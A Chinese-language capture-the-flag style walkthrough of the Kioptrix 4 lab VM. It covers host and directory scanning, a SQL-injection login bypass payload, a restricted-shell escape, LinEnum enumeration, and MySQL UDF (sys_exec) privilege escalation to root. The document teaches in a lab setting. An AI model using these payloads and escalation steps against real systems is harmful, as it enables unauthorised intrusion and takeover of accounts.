目录
一、测试环境
1、系统环境
2、使用工具/软件
二、测试目的
三、操作过程
1、信息搜集
2、Getshell
3、提权
udf提权
四、结论
一、测试环境
1、系统环境
渗透机:kali2021.1(192.168.202.134)
靶 机:Linux 2.6.24
2、使用工具/软件
Kali: arp-scan(主机探测)、nmap(端口和服务扫描)、gobuster(目录遍历)、dirsearch(目录遍历)、python3(web服务)、LinEnum.sh(获取靶机信息脚本)、burp suite(跑sql注入脚本)
测试网址:http://192.168.202.170
二、测试目的
通过渗透web资源,得到john用户密码,登录后,进行逃逸bash限制和UDF提权操作。
三、操作过程
这个靶机压缩包只有一个硬盘,可以导入KVM3靶机,替换硬盘打开即可。
打开是kioptrix4靶机
1、信息搜集
主机探测
arp-scan -l
靶机IP:192.168.202.170
端口和服务探测
nmap -sS -A -T4 -p- 192.168.202.170
开启了ssh服务、web服务和smb服务
目录扫描
gobuster dir -u http://192.168.202.170 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,jsp,html,txt
只有默认页和一些目录,有个john目录
用dirsearch试试
dirsearch -u http://192.168.202.170 -i 200,301 --exclude-sizes=0B
扫到个database.sql可以利用
访问database.sql查看,发现john用户存在
(这里我出现了问题,本机web访问不到靶机资源,但是kali中的火狐浏览器可以访问,不知道是哪个插件冲突了)
2、Getshell
使用john用户登录失败,看来密码改过了
爆破一下密码的SQL注入
根据结果分析,存在sql注入万能密码漏洞
使用注入代码:
a'or' 1=1--
成功登录,并且给出了john的密码
尝试登录john
不支持ssh登录,只能在虚拟机终端进行账号密码登录
成功登录
john/MyNameIsJohn
3、提权
登录成功后,发现shell存在很多限制,很多命令无法运行
echo命令可以执行,可以用来逃逸命令限制
echo os.system('/bin/bash')
语句会尝试调用shell,逃逸成功
上传LinEnum.sh文件,分析靶机
LinEnum.sh是渗透测试工具,可以分析靶机并生成报告
我的在kali上下载了,没有的需要在github上下载
wget https://github.com/rebootuser/LinEnum/raw/master/LinEnum.sh
赋予脚本执行权限并执行
chmod +x LinEnum.sh
./LinEnum.sh
查看报告,可以发现很多信息
1.loneferret用户是有sudo权限的
2.mysql的root账户可以无密码登录
查看loneferret用户的组
groups loneferret
可以看到loneferret用户属于admin组,有管理员权限
Mysql成功登录root
udf提权
lib_mysqludf_sys 是一个 MySQL 用户定义函数(UDF)库,允许用户在 MySQL 中执行系统命令和访问文件系统。使得可以在数据库中直接运行shell命令。
在mysql库下查找func表,看看有没有sys_exec函数;有则可以执行shell命令。
use mysql;
select * from func;
执行命令将john用户追加到admin组中
select sys_exec("usermod -a -G admin john");
-a : 表示追加
-G : 指定用户组
sudo su
四、结论
对于版本较老的靶机,可以用渗透测试脚本扫描,快速获取信息。
UDF提权方式需要mysql有执行系统命令的函数。